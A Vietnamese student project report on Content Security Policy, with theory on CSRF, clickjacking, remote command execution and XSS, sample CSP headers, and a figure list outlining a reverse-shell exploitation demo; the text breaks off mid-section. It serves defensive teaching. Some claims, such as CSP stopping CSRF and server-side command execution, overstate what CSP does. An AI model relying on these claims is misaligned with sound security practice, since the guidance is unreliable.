BÁO CÁO ĐỒ ÁN

**Môn học: Bảo mật web và ứng dụng**

**Tên đồ án: Content security policy**

*GVHD: Nguyễn Công Danh*

1. **THÔNG TIN CHUNG:**

*(Liệt kê tất cả các thành viên trong nhóm)*

Lớp: NT213.O21.ANTT

|  |  |  |  |
| --- | --- | --- | --- |
| **STT** | **Họ và tên** | **MSSV** | **Email** |
| 1 | Nguyễn Thanh Tuấn | 21522756 | [21522756@gm.uit.edu.vn](mailto:21522756@gm.uit.edu.vn) |
| 2 | Lê Huy Hiệp | 21522067 | [21522067@gm.uit.edu.vn](mailto:21522067@gm.uit.edu.vn) |
| 3 | Bùi Đức Anh Tú | 21522735 | [21522735@gm.uit.edu.vn](mailto:21522735@gm.uit.edu.vn) |
| 4 | Nguyễn Long Vũ | 21522800 | [21522800@gm.uit.edu.vn](mailto:21522800@gm.uit.edu.vn) |

1. **NỘI DUNG THỰC HIỆN:[[1]](#footnote-2)**

|  |  |  |
| --- | --- | --- |
| **STT** | **Công việc** | **Kết quả tự đánh giá** |
| 1 | Kịch bản 1: | 100% |
| 2 | Kịch bản 2: | 100% |
| 3 | Kịch bản 3: | 100% |
| 4 | Kịch bản 4: | 100% |
| 5 | Kịch bản 5: | 100% |

**Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.**

TP. HỒ CHÍ MINH, 2024

**Mục Lục**

[**DANH MỤC HÌNH ẢNH** 4](#_Toc169067619)

[**TÓM TẮT ĐỒ ÁN** 6](#_Toc169067620)

[**MỞ ĐẦU** 7](#_Toc169067621)

[**Chương 1. Tổng quan** 8](#_Toc169067622)

[1.1 Lý do chọn đề tài 8](#_Toc169067623)

[1.2. Mục tiêu nghiên cứu 9](#_Toc169067624)

[1.3. Phạm vi nghiên cứu 10](#_Toc169067625)

[**Chương 2. Cơ Sở Lý Thuyết** 10](#_Toc169067626)

[2.1. Tổng quan về các mối đe dọa bảo mật web 10](#_Toc169067627)

[2.2. Tổng quan về Content Security Policy 11](#_Toc169067628)

[2.2.1 Các đặc điểm chính 11](#_Toc169067629)

[2.2.2 Lợi ích 12](#_Toc169067630)

[2.2.3 Ứng dụng 12](#_Toc169067631)

[2.3. Các loại tấn công phổ biến vào ứng dụng web 13](#_Toc169067632)

[2.3.1 Cross-Site Request Forgery (CSRF) 13](#_Toc169067633)

[2.3.2 Clickjacking 13](#_Toc169067634)

[2.3.3 Remote Command Execution 13](#_Toc169067635)

[2.3.4 Cross-Site Scripting (XSS) 14](#_Toc169067636)

[**Chương 3. Thiết Kế Kịch Bản Tấn Công và Cơ Chế Ngăn Chặn** 14](#_Toc169067637)

[3.1. Kịch bản tấn công Cross-Site Request Forgery 14](#_Toc169067638)

[3.1.1 Mô tả kịch bản tấn công 14](#_Toc169067639)

[3.1.2 Cơ chế ngăn chặn 15](#_Toc169067640)

[3.2. Kịch bản tấn công Clickjacking 15](#_Toc169067641)

[3.2.1 Mô tả kịch bản tấn công 15](#_Toc169067642)

[3.2.2 Cơ chế ngăn chặn 15](#_Toc169067643)

[3.3 Kịch bản tấn công Remote Command Execution 16](#_Toc169067644)

[3.3.1 Mô tả kịch bản tấn công 16](#_Toc169067645)

[3.3.2 Cơ chế ngăn chặn 17](#_Toc169067646)

[3.4. Kịch bản tấn công DOM-base XSS 17](#_Toc169067647)

[3.4.1 Mô tả kịch bản tấn công 17](#_Toc169067648)

[3.4.2 Cơ chế ngăn chặn 18](#_Toc169067649)

[3.5. Kịch bản tấn công Stored XSS 18](#_Toc169067650)

[3.5.1 Mô tả kịch bản tấn công 18](#_Toc169067651)

[3.5.2 Cơ chế ngăn chặn 19](#_Toc169067652)

[**Chương 4. Triển Khai và Đánh Giá Hệ Thống** 19](#_Toc169067653)

[4.1. Triển khai kịch bản tấn công Stored XSS 19](#_Toc169067654)

[4.1.1 Yêu cầu hệ thống 19](#_Toc169067655)

[4.2. Triển khai kịch bản tấn công Cross-Site Request Forgery (CSRF) 23](#_Toc169067656)

[4.2.1 Yêu cầu hệ thống 23](#_Toc169067657)

[4.2.2 Triển khai chi tiết 23](#_Toc169067658)

[4.4. Triển khai kịch bản tấn công Clickjacking 28](#_Toc169067659)

[4.4.1 Yêu cầu hệ thống 28](#_Toc169067660)

[4.4.2 Triển khai chi tiết 28](#_Toc169067661)

[4.5. Triển khai kịch bản tấn công Remote Command Execution 32](#_Toc169067662)

[4.5.1 Yêu cầu hệ thống 32](#_Toc169067663)

[4.5.2 Triển khai chi tiết 32](#_Toc169067664)

[4.6. Triển khai kịch bản tấn công Dom-Base Cross-Site Scripting 44](#_Toc169067665)

[**Chương 5. Kết Luận và Đánh Giá** 50](#_Toc169067666)

[5.1. Phân tích ưu điểm của cơ chế bảo mật CSP 50](#_Toc169067667)

[5.2. Đánh giá hạn chế và khó khăn 50](#_Toc169067668)

[5.3. Khả năng mở rộng và phát triển trong tương lai 51](#_Toc169067669)

# **DANH MỤC HÌNH ẢNH**

[Hình 1 Sơ đồ mô hình tấn công Remote Command Execution 16](#_Toc169068035)

[Hình 2 CSP ngăn chặn DOM-Based XSS 18](#_Toc169068036)

[Hình 3 Nội dung CSP thực hiện ngăn chặn stored XSS 19](#_Toc169068037)

[Hình 4 Code update user 20](#_Toc169068038)

[Hình 5 Mã javascript đã được thêm vào database 21](#_Toc169068039)

[Hình 6 Database đã bị sửa đổi 21](#_Toc169068040)

[Hình 7 Code thêm CSP vào file update 22](#_Toc169068041)

[Hình 8 Mã javascript không còn được thêm vào database 23](#_Toc169068042)

[Hình 9 Database không còn lưu mã javascript 23](#_Toc169068043)

[Hình 10 Khởi động 2 webserver. 25](#_Toc169068044)

[Hình 11 Thử nghiệm CSRF trên trang web của attacker. 25](#_Toc169068045)

[Hình 12 Thay đổi gmail trên trang chính chủ. 27](#_Toc169068046)

[Hình 13 Thay đổi gmail trên trang của attacker. 28](#_Toc169068047)

[Hình 14 Clickjacking với 1 hình ảnh bị làm mờ. 30](#_Toc169068048)

[Hình 15 Bức ảnh đã bị mất do CSP đã chặn iframe. 32](#_Toc169068049)

[Hình 16 Phiên bản joomscan 33](#_Toc169068050)

[Hình 17 Các lỗ hổng liên quan đến xcloner 33](#_Toc169068051)

[Hình 18 Tải file exploit cho kịch bản này 33](#_Toc169068052)

[Hình 19 Thông tin hướng dẫn chi tiết cho quá trình khai thác 34](#_Toc169068053)

[Hình 20 Thông tin hệ thống 35](#_Toc169068054)

[Hình 21 Injection code thành công vào hệ thống 36](#_Toc169068055)

[Hình 22 Kiểm tra id hệ thống 37](#_Toc169068056)

[Hình 23 Kiểm tra file /etc/passwd 37](#_Toc169068057)

[Hình 24 Kiểm tra xem netcat được cài đặt không 38](#_Toc169068058)

[Hình 25 Tạo port lắng nghe phía attacker 38](#_Toc169068059)

[Hình 26 Thực hiện kết nối ngược từ server 39](#_Toc169068060)

[Hình 27 Không có kết quả gì sau khi thực thi netcat 39](#_Toc169068061)

[Hình 28 Chạy lại lệnh kết nối ngược bằng bash 39](#_Toc169068062)

[Hình 29 Không có kết quả cho quá trình kết nối ngược bash 40](#_Toc169068063)

[Hình 30 Kiểm tra xem có thể thực thi được lệnh in ra màn hình không 40](#_Toc169068064)

[Hình 31 Tạo thử file shell.sh để kiểm tra 41](#_Toc169068065)

[Hình 32 Tạo file revese shell từ attacker 41](#_Toc169068066)

[Hình 33 kiểm tra file shell 41](#_Toc169068067)

[Hình 34 Tấn công thành công 42](#_Toc169068068)

[Hình 35 Trước khi sử dụng CSP cho RCE 42](#_Toc169068069)

[Hình 36 Sau khi sử dụng CSP cho RCE 43](#_Toc169068070)

[Hình 37 Truyền code lại cho phía server 43](#_Toc169068071)

[Hình 38 Không thể kiểm tra thông tin phpinfo() 44](#_Toc169068072)

[Hình 39 Không thể in ra dòng chữ hello 44](#_Toc169068073)

[Hình 40 trang web game ban đầu 45](#_Toc169068074)

[Hình 41 Hình main.js trong source web 45](#_Toc169068075)

[Hình 42 Hình code lấy chuỗi truy vấn ứng với tham số search sau dấu ? của URL trong main.js 45](#_Toc169068076)

[Hình 43 Hình quá trình in chuỗi có chứa searchQuery trong main.js 45](#_Toc169068077)

[Hình 44 Hình chức năng chuyển coin trong main.js 46](#_Toc169068078)

[Hình 45 sau khi bị tấn công vào chức năng chuyển coin 46](#_Toc169068079)

[Hình 46 trang web sau khi áp dụng CSP 47](#_Toc169068080)

[Hình 47 kết quả của CSP trả về bởi trình duyệt 47](#_Toc169068081)

[Hình 48 Hình web giả mạo login 48](#_Toc169068082)

[Hình 49 id của thẻ bị thay thế bởi iframe 48](#_Toc169068083)

[Hình 50 Hình sau khi bị tấn công thay thế <iframe> 49](#_Toc169068084)

[Hình 51 Hình sau khi áp dụng CSP 49](#_Toc169068085)

[Hình 52 kết quả của CSP trả về bởi trình duyệt 50](#_Toc169068086)

# **TÓM TẮT ĐỒ ÁN**

Đồ án này tập trung vào việc nghiên cứu, thiết kế và triển khai các cơ chế bảo mật thông qua Content Security Policy để ngăn chặn các cuộc tấn công vào ứng dụng web. CSP là một lớp bảo mật mạnh mẽ giúp giảm thiểu nguy cơ các cuộc tấn công như Cross-Site Scripting, Clickjacking và nhiều loại tấn công khác.

Nội dung đồ án được chia thành các phần chính. Đầu tiên là tổng quan về CSP, giới thiệu về CSP, ứng dụng và lợi ích của nó trong bảo mật web. Tiếp theo là phần cơ sở lý thuyết, tổng quan về các mối đe dọa bảo mật web, các loại tấn công phổ biến như SQL Injection, Cross-Site Request Forgery, Clickjacking, Remote Command Execution, và XSS. Phần này cũng trình bày các kỹ thuật bảo mật liên quan đến CSP như nonce-based CSP, hash-based CSP và domain-based CSP.

Phần tiếp theo của đồ án là thiết kế kịch bản tấn công và cơ chế ngăn chặn. Trong phần này, các kịch bản tấn công cụ thể được mô tả chi tiết cùng với cơ chế ngăn chặn cho từng loại tấn công thông qua CSP. Cuối cùng là triển khai và đánh giá hệ thống, phần này bao gồm cài đặt và cấu hình CSP, triển khai các kịch bản tấn công trước và sau khi áp dụng CSP, đánh giá hiệu quả của cơ chế bảo mật, phân tích kết quả và đề xuất cải tiến.

Kết quả thử nghiệm cho thấy việc áp dụng CSP đã tăng cường đáng kể khả năng bảo mật của ứng dụng web, giảm thiểu nguy cơ bị tấn công từ các lỗ hổng bảo mật phổ biến. Đồ án cũng đề xuất các phương hướng cải tiến và mở rộng nhằm nâng cao tính linh hoạt và hiệu quả của hệ thống CSP trong tương lai.

# **MỞ ĐẦU**

Ngày nay, sự phát triển mạnh mẽ của khoa học và công nghệ đã góp phần nâng cao chất lượng cuộc sống con người một cách đáng kể. Đặc biệt, trong lĩnh vực bảo mật web, việc ứng dụng các chính sách bảo mật tiên tiến như Content Security Policy đã trở thành yếu tố then chốt trong việc bảo vệ thông tin và ngăn chặn các cuộc tấn công mạng. CSP là một lớp bảo mật mạnh mẽ giúp giảm thiểu nguy cơ từ các loại tấn công phổ biến như Cross-Site Scripting, Clickjacking và nhiều hình thức tấn công khác, bảo vệ các ứng dụng web khỏi các lỗ hổng bảo mật.

Chúng em nhận thấy rằng việc áp dụng CSP trong bảo mật ứng dụng web không chỉ giúp tăng cường an ninh mà còn nâng cao độ tin cậy của hệ thống, bảo vệ dữ liệu người dùng và cải thiện trải nghiệm của họ. Với mục tiêu đó, đề tài "Nghiên cứu và triển khai Content Security Policy để ngăn chặn các cuộc tấn công web" được chúng em thực hiện nhằm nghiên cứu sâu và phát triển các cơ chế bảo mật dựa trên CSP để xây dựng một hệ thống bảo mật mạnh mẽ và hiệu quả.

Hệ thống bảo mật này không chỉ tập trung vào việc ngăn chặn các loại tấn công như SQL Injection, Cross-Site Request Forgery, Clickjacking, Remote Command Execution, và Cross-Site Scripting mà còn cung cấp các giải pháp cụ thể thông qua CSP để bảo vệ ứng dụng web. Cụ thể, hệ thống sẽ sử dụng các kỹ thuật bảo mật như nonce-based CSP, hash-based CSP và domain-based CSP để ngăn chặn các cuộc tấn công từ bên ngoài.

Qua quá trình nghiên cứu và thử nghiệm, chúng em hy vọng sẽ tạo ra một giải pháp bảo mật hiệu quả, góp phần bảo vệ ứng dụng web khỏi các mối đe dọa bảo mật hiện tại và tương lai. Đồ án này không chỉ giúp chúng em hiểu rõ hơn về CSP và các kỹ thuật bảo mật liên quan mà còn cung cấp một cái nhìn toàn diện về việc áp dụng CSP trong thực tiễn.

Vì trình độ nghiên cứu và thời gian thực hiện còn hạn chế, cùng với đó là sự tiếp thu kiến thức vẫn còn tồn tại một số hạn chế nhất định, do đó, trong quá trình hoàn thành đồ án chắc chắn không tránh khỏi những thiếu sót. Chúng em rất mong nhận được những góp ý từ thầy cô để báo cáo được hoàn thiện hơn.

Cuối cùng, chúng em xin gửi lời cảm ơn sâu sắc đến Thầy Nguyễn Công Danh đã giúp đỡ và hướng dẫn chúng em hoàn thiện đề tài này. Kính chúc thầy thật nhiều sức khỏe, hạnh phúc và thành công trên con đường giảng dạy của mình.

Chúng em xin chân thành cảm ơn!

# **Chương 1. Tổng quan**

## Lý do chọn đề tài

Trong bối cảnh công nghệ thông tin phát triển vượt bậc, các ứng dụng web ngày càng trở nên phổ biến và đóng vai trò quan trọng trong nhiều lĩnh vực khác nhau như kinh doanh, giáo dục, y tế, và giải trí. Tuy nhiên, song song với sự tiện lợi và khả năng kết nối mạnh mẽ mà các ứng dụng web mang lại, các mối đe dọa bảo mật cũng ngày càng gia tăng, đặt ra nhiều thách thức cho các nhà phát triển và quản trị hệ thống.

Một trong những thách thức lớn nhất hiện nay là các cuộc tấn công vào ứng dụng web, bao gồm Cross-Site Scripting, SQL Injection, Cross-Site Request Forgery, Clickjacking, và nhiều loại tấn công khác. Những tấn công này không chỉ gây mất an toàn cho dữ liệu người dùng mà còn ảnh hưởng nghiêm trọng đến uy tín của tổ chức, doanh nghiệp và gây thiệt hại tài chính đáng kể.

Content Security Policy là một cơ chế bảo mật mạnh mẽ được phát triển nhằm giảm thiểu nguy cơ từ các loại tấn công này. CSP cho phép các nhà phát triển kiểm soát và giới hạn các nguồn nội dung mà trình duyệt có thể tải về và thực thi, từ đó ngăn chặn các cuộc tấn công XSS, Clickjacking và nhiều loại tấn công khác. Với tính năng này, CSP trở thành một phần không thể thiếu trong việc bảo mật ứng dụng web hiện đại.

Nhận thấy tầm quan trọng và tính cấp thiết của CSP trong bảo mật web, chúng em quyết định chọn đề tài "Nghiên cứu và triển khai Content Security Policy để ngăn chặn các cuộc tấn công web". Mục tiêu của đề tài này là nghiên cứu sâu về CSP, xác định các phương pháp tấn công phổ biến vào ứng dụng web và đề xuất các giải pháp bảo mật hiệu quả thông qua CSP. Chúng em hy vọng rằng, thông qua việc thực hiện đề tài này, chúng em có thể đóng góp một phần nhỏ vào việc nâng cao an ninh mạng và bảo vệ ứng dụng web trước các mối đe dọa ngày càng phức tạp.

## 1.2. Mục tiêu nghiên cứu

Mục tiêu của dự án này tập trung vào việc nghiên cứu và áp dụng Content Security Policy để ngăn chặn các cuộc tấn công web. Cụ thể, chúng tôi đặt ra các mục tiêu như sau:

Nắm vững về CSP: Đầu tiên, chúng tôi sẽ hiểu rõ về cách thức hoạt động của CSP, bao gồm các khái niệm cơ bản và các thành phần quan trọng của nó. Điều này đòi hỏi chúng tôi phải nghiên cứu sâu và thực hành để có cái nhìn toàn diện về CSP.

Phân tích mối đe dọa bảo mật: Tiếp theo, chúng tôi sẽ tìm hiểu và phân tích các mối đe dọa bảo mật phổ biến đối với các ứng dụng web như Cross-Site Scripting, Cross-Site Request Forgery, và SQL Injection. Mục tiêu là xác định các điểm yếu tiềm ẩn và cách CSP có thể ngăn chặn các cuộc tấn công này.

Thiết kế cơ chế bảo mật: Dựa trên kiến thức đã thu thập, chúng tôi sẽ phát triển các cơ chế bảo mật sử dụng CSP. Cụ thể, chúng tôi sẽ thiết kế các chính sách CSP phù hợp và triển khai chúng vào ứng dụng web để bảo vệ khỏi các cuộc tấn công.

Triển khai và kiểm thử: Sau khi hoàn thành thiết kế, chúng tôi sẽ triển khai CSP vào một ứng dụng web thực tế và tiến hành các bước kiểm thử. Mục tiêu là đảm bảo rằng CSP hoạt động như mong đợi và có khả năng ngăn chặn các cuộc tấn công bảo mật.

Phân tích kết quả và đề xuất cải tiến: Cuối cùng, chúng tôi sẽ phân tích kết quả từ quá trình triển khai và kiểm thử, đánh giá hiệu suất và đề xuất các cải tiến và điều chỉnh cho CSP. Mục tiêu cuối cùng là cung cấp một hệ thống bảo mật hiệu quả và linh hoạt cho các ứng dụng web.

## 1.3. Phạm vi nghiên cứu

Để đảm bảo tính chính xác và khả thi của dự án, phạm vi nghiên cứu được xác định cẩn thận để tập trung vào các khía cạnh quan trọng của CSP và ứng dụng của nó trong bảo mật web. Phạm vi nghiên cứu bao gồm:

Nghiên cứu về CSP: Tập trung vào việc tìm hiểu và phân tích chi tiết về cách thức hoạt động của CSP, bao gồm các khái niệm cơ bản, cú pháp, và cơ chế áp dụng trong bảo mật web.

Phân tích các mối đe dọa bảo mật: Nghiên cứu các cuộc tấn công web phổ biến như XSS, CSRF, SQL Injection và xác định cách CSP có thể ngăn chặn hoặc giảm thiểu rủi ro từ những mối đe dọa này.

Thiết kế và triển khai CSP: Phát triển và triển khai các cơ chế bảo mật sử dụng CSP trên một ứng dụng web thực tế. Điều này bao gồm việc xác định và thiết lập các chính sách CSP phù hợp với nhu cầu cụ thể của ứng dụng.

Kiểm thử và đánh giá: Tiến hành các bài kiểm thử để đảm bảo rằng CSP hoạt động như mong đợi và có khả năng ngăn chặn các cuộc tấn công bảo mật. Đồng thời, đánh giá hiệu suất và tính linh hoạt của CSP trong một môi trường ứng dụng thực tế.

Phân tích kết quả và đề xuất cải tiến: Phân tích kết quả từ quá trình triển khai và kiểm thử, đánh giá hiệu suất của CSP và đề xuất các cải tiến và điều chỉnh để tăng cường bảo mật cho ứng dụng web.

# **Chương 2. Cơ Sở Lý Thuyết**

## 2.1. Tổng quan về các mối đe dọa bảo mật web

Tổng quan về các mối đe dọa bảo mật web cho thấy rằng môi trường trực tuyến đầy rẫy các nguy cơ và mối đe dọa mạng mà các trang web phải đối mặt. Các mối đe dọa này có thể đến từ những kẻ tấn công có mục tiêu cá nhân hoặc từ các nhóm tội phạm mạng, và chúng thường muốn tận dụng những lỗ hổng bảo mật trong ứng dụng web để tiến hành các cuộc tấn công.

Một số mối đe dọa bảo mật phổ biến gồm XSS, SQL Injection, CSRF, và RCE. Bên cạnh đó, có cả các hình thức tấn công như clickjacking, phishing, và tấn công vào lỗ hổng của các hệ thống quản trị nội dung (CMS).

Đối mặt với những nguy cơ này, các nhà phát triển web cần phải thực hiện các biện pháp bảo mật để bảo vệ dữ liệu và người dùng của họ. Các biện pháp bảo mật có thể bao gồm việc áp dụng các tiêu chuẩn và quy trình phát triển an toàn, sử dụng các công nghệ bảo mật như CSP, mã hóa dữ liệu, và kiểm tra lỗ hổng bảo mật định kỳ.

Tóm lại, hiểu biết về các mối đe dọa bảo mật web là rất quan trọng để xây dựng và duy trì một môi trường trực tuyến an toàn và đáng tin cậy.

## 2.2. Tổng quan về Content Security Policy

Content Security Policy (CSP) là một công nghệ bảo mật web cho phép các nhà phát triển web xác định và thực thi các nguồn tài nguyên (như JavaScript, CSS, hình ảnh, v.v.) mà trình duyệt được phép tải từ trong một trang web cụ thể. CSP giúp giảm thiểu nguy cơ của các cuộc tấn công như XSS bằng cách hạn chế khả năng thực thi mã JavaScript độc hại được chèn từ các nguồn không tin cậy.

CSP hoạt động bằng cách đặt ra các chính sách được xác định trong tiêu đề HTTP của một trang web. Những chính sách này mô tả các quy tắc và ràng buộc về nguồn tài nguyên được phép tải và thực thi trên trình duyệt của người dùng. CSP có thể được triển khai dưới dạng các chỉ dẫn như default-src, script-src, style-src, img-src, connect-src, font-src, media-src, object-src, frame-src, worker-src, form-action, và frame-ancestors.

Tuy CSP không phải là một giải pháp bảo mật hoàn hảo, nhưng nó cung cấp một lớp bảo vệ bổ sung cho các ứng dụng web. Bằng cách thiết lập CSP đúng cách, nhà phát triển có thể giảm thiểu nguy cơ của các cuộc tấn công bảo mật phổ biến và cải thiện tính an toàn của ứng dụng của họ.

### 2.2.1 Các đặc điểm chính

Nonce-Based CSP:

Mã ngẫu nhiên (Nonce): Sử dụng mã số duy nhất, ngẫu nhiên, và thay đổi với mỗi yêu cầu trang web.

Xác định trong tiêu đề CSP: Nonce được xác định trong tiêu đề CSP và phải khớp với mã trong các script để được thực thi.

Bảo mật mạnh mẽ: Ngăn chặn các cuộc tấn công XSS vì các script độc hại không thể đoán được nonce.

Hash-Based CSP:

Giá trị băm (Hash): Sử dụng giá trị băm của nội dung script để xác định script hợp lệ.

Xác định trong tiêu đề CSP: Hash của các script hợp lệ được xác định trong tiêu đề CSP.

Bảo mật cho các script tĩnh: Phù hợp cho các script không thay đổi thường xuyên.

Domain-Based CSP:

Danh sách domain: Chỉ định các domain từ đó tài nguyên có thể được tải.

Xác định trong tiêu đề CSP: Các domain được liệt kê trong tiêu đề CSP.

Triển khai đơn giản: Dễ dàng thiết lập và quản lý.

### 2.2.2 Lợi ích

Nonce-Based CSP:

Ngăn chặn XSS hiệu quả: Chỉ cho phép thực thi các script có nonce đúng.

Bảo mật linh hoạt: Mỗi lần tải trang tạo ra một nonce mới, tăng tính bảo mật.

Hash-Based CSP:

Bảo mật cho nội dung tĩnh: Dễ dàng kiểm tra các script tĩnh thông qua hash.

Chống chèn script: Các script phải có hash khớp với giá trị trong CSP mới được thực thi.

Domain-Based CSP:

Quản lý nguồn tài nguyên: Hạn chế tài nguyên từ các domain đáng tin cậy.

Dễ dàng triển khai: Không cần thay đổi mã nguồn, chỉ cần cấu hình CSP.

### 2.2.3 Ứng dụng

Nonce-Based CSP:

Trang web động: Các trang web có nội dung động, nơi nonce được tạo mới cho mỗi yêu cầu.

Ứng dụng có tính tương tác cao: Các ứng dụng web yêu cầu mức độ bảo mật cao.

Hash-Based CSP:

Trang web tĩnh: Các trang web có nội dung script không thay đổi thường xuyên.

Ứng dụng với script tĩnh: Các ứng dụng web sử dụng các script tĩnh cho chức năng cơ bản.

Domain-Based CSP:

Trang web doanh nghiệp: Các trang web doanh nghiệp có tài nguyên từ các nguồn đáng tin cậy.

Ứng dụng dịch vụ web: Các dịch vụ web mà tài nguyên từ các domain cố định.

## 2.3. Các loại tấn công phổ biến vào ứng dụng web

### 2.3.1 Cross-Site Request Forgery (CSRF)

Bản chất: Là một loại tấn công bảo mật nhằm khai thác sự tin tưởng mà một trang web có đối với trình duyệt của người dùng.

Cách hoạt động: Kẻ tấn công tạo ra một yêu cầu độc hại từ trang web của hắn và lừa người dùng nhấp vào đó hoặc thậm chí gửi yêu cầu mà không cần sự tương tác của người dùng. Khi người dùng đã đăng nhập vào trang web mục tiêu, yêu cầu này sẽ được gửi với quyền hạn của người dùng đã đăng nhập, dẫn đến hành động không mong muốn như thay đổi thông tin tài khoản, thực hiện giao dịch tài chính, hoặc thay đổi cài đặt bảo mật.

### 2.3.2 Clickjacking

Bản chất: Clickjacking là một kỹ thuật tấn công trong đó kẻ tấn công che giấu một trang web hoặc một phần tử HTML như nút bấm, liên kết, hoặc một đoạn mã JavaScript dưới một lớp giao diện người dùng mà người dùng tưởng nhầm là an toàn.

Cách hoạt động: Kẻ tấn công sẽ sử dụng một trang web độc hại và nhúng trang web hợp lệ dưới dạng iframe với độ trong suốt cao hoặc bằng cách khác che giấu. Khi người dùng nhấp vào một phần tử trên trang web độc hại, họ thực ra đang nhấp vào phần tử trên trang web hợp lệ mà họ không biết.

### 2.3.3 Remote Command Execution

Bản chất:

Remote Command Execution là một loại lỗ hổng bảo mật nghiêm trọng cho phép kẻ tấn công thực thi các lệnh tùy ý trên máy chủ hoặc thiết bị từ xa. Khi bị khai thác, lỗ hổng này có thể cho phép kẻ tấn công chiếm quyền điều khiển hoàn toàn hệ thống mục tiêu, đánh cắp dữ liệu, cài đặt phần mềm độc hại hoặc sử dụng tài nguyên của hệ thống cho các mục đích bất hợp pháp khác.

Cách hoạt động:

Xác định lỗ hổng: Kẻ tấn công tìm kiếm các lỗ hổng trong ứng dụng web hoặc phần mềm có thể chấp nhận và thực thi các lệnh hệ thống mà không có sự kiểm soát chặt chẽ.

Chèn lệnh độc hại: Kẻ tấn công gửi các lệnh độc hại thông qua các phương tiện như URL, các trường đầu vào của người dùng từ form input, hoặc thông qua các điểm nhập dữ liệu khác mà ứng dụng web hoặc phần mềm không kiểm tra đúng cách.

Thực thi lệnh: Máy chủ hoặc hệ thống mục tiêu thực thi lệnh được chèn vào, dẫn đến việc kẻ tấn công có thể thực hiện các hành động trái phép như truy cập tệp tin, thay đổi dữ liệu, hoặc cài đặt phần mềm độc hại.

### 2.3.4 Cross-Site Scripting (XSS)

XSS Cross-site scripting: là một lỗ hổng bảo mật web cho phép kẻ tấn công xâm phạm các tương tác mà người dùng có với ứng dụng bị lỗ hổng. Nó cho phép kẻ tấn công vượt qua chính sách cùng nguồn gốc Same Origin Policy, vốn được thiết kế ngăn chặn các trang web khác nhau truy cập tài nguyên của nhau. Các lỗ hổng Cross-site scripting thường cho phép kẻ tấn công giả mạo làm người dùng nạn nhân, thực hiện bất kỳ hành động nào mà người dùng có thể thực hiện và truy cập bất kỳ dữ liệu nào của người dùng. Nếu người dùng nạn nhân có quyền truy cập đặc biệt trong ứng dụng, thì kẻ tấn công có thể chiếm toàn quyền kiểm soát tất cả chức năng và dữ liệu của ứng dụng. XSS được phân làm ba loại: Reflet XSS, DOM-Based XSS, Store XSS.

DOM-Based XSS là một cuộc tấn công XSS trong đó payload tấn công được thực thi do sự thay đổi môi trường DOM trong trình duyệt của nạn nhân. Việc thay đổi đoạn mã script phía client ban đầu, làm cho mã phía client ban đầu chạy theo cách "không mong đợi". Điều này có nghĩa là trang web không thay đổi, nhưng mã phía client trong trang web chạy khác đi do các thay đổi độc hại đã xảy ra trong môi trường DOM.

DOM được gọi là mô hình tài liệu đối tượng. Khi một trang web được tải trình duyệt sẽ tạo một mô hình tài liệu đối tượng. Với mô hình đối tượng này Javascript có thể thay đổi và tạo HTML động.

Stored XSS, còn được gọi là Persistent XSS, là một loại tấn công bảo mật web trong đó mã độc hại được chèn cố định vào một ứng dụng web dễ bị tổn thương. Điều này thường xảy ra khi một ứng dụng nhận dữ liệu từ một nguồn không đáng tin cậy và sau đó bao gồm dữ liệu đó trong các phản hồi HTTP sau này mà không kiểm tra hoặc mã hóa nó một cách an toàn

# **Chương 3. Thiết Kế Kịch Bản Tấn Công và Cơ Chế Ngăn Chặn**

## 3.1. Kịch bản tấn công Cross-Site Request Forgery

### 3.1.1 Mô tả kịch bản tấn công

Ta sẽ thực hiện tạo 2 trang web để thực hiện demo, 1 là trang server với mục thay đổi gmail và 1 trang của attacker tên malicious.com. Khi truy vấn đến trang attacker sẽ bị redirect đến trang server và tự động thay đổi gmail thành gmail của attacker lợi dụng phiên đặng nhập của user mà không có sự đồng ý của user.

### 3.1.2 Cơ chế ngăn chặn

Ta có thể áp dụng chính sách CSP để ngăn chặn hacker tấn công với những chính sách sau:

("Content-Security-Policy", "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self'; object-src 'none'; frame-ancestors 'none'; form-action 'self'; base-uri 'self';"); next(); });

Giải thích:

default-src 'self': Chỉ cho phép các tài nguyên mặc định được tải từ chính nguồn của trang web.

script-src 'self': Chỉ cho phép các tập lệnh (JavaScript) được tải từ chính nguồn của trang web.

style-src 'self': Chỉ cho phép các tệp CSS được tải từ chính nguồn của trang web.

img-src 'self': Chỉ cho phép các hình ảnh được tải từ chính nguồn của trang web.

connect-src 'self': Chỉ cho phép kết nối (ví dụ: AJAX, WebSockets) đến chính nguồn của trang web.

font-src 'self': Chỉ cho phép các tệp font được tải từ chính nguồn của trang web.

object-src 'none': Không cho phép nhúng các đối tượng như Flash, Silverlight.

frame-ancestors 'none': Không cho phép trang web này được nhúng trong các khung (iframe) của trang khác.

form-action 'self': Chỉ cho phép gửi form đến chính nguồn của trang web.

base-uri 'self': Chỉ cho phép thẻ <base> trỏ đến chính nguồn của trang web.

Với các thiệt lập như trên trang web sẽ được bảo mật tốt hơn và ngăn chặn được các tấn công CSRF của hacker.

## 3.2. Kịch bản tấn công Clickjacking

### 3.2.1 Mô tả kịch bản tấn công

User sẽ truy cập vào 1 trang web có một cái nút tên là fun và một iframe bị ẩn do hacker can thiệp vào, khi ta nhấn nút fun thì thực chất ta đang nhấn vào bức ảnh, ở thực tế iframe này sẽ bị ẩn hoàn toàn và thay vào đó attacker sẽ chèn một iframe chứa các thông tin chuyển tiền ngân hàng để dụ người dùng click vào nút chuyển tiền mà không hề hay biết.

### 3.2.2 Cơ chế ngăn chặn

Đối với cách tấn công này ta có thể áp dụng chính sách CSP sau:

<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'none'">

Giải thích:

* frame-ancestors 'none': Chính sách này đặt giá trị 'none', ngăn chặn trang web hiện tại được nhúng trong các khung (iframe) của trang khác.

Khi ta sử dụng frame-ancestors 'none', trình duyệt sẽ không cho phép trang web của mình được nhúng trong bất kỳ khung nào của trang web khác, ngay cả khi đó là trang web của chính mình.

Điều này giúp ngăn chặn clickjacking bằng cách không cho phép kẻ tấn công nhúng trang web của mình vào một khung ẩn trên trang web của họ và lừa người dùng tương tác với trang web của mình mà họ không biết.

Với chính sách trên ta hoàn toàn có thể hạn chế được tấn công clickjacking từ hacker và đảm bảo bảo mật cho trang web của mình khi sử dụng.

## 3.3 Kịch bản tấn công Remote Command Execution

### 3.3.1 Mô tả kịch bản tấn công

A diagram of a globe

Description automatically generated

Hình 1 Sơ đồ mô hình tấn công Remote Command Execution

**Thuật ngữ:**

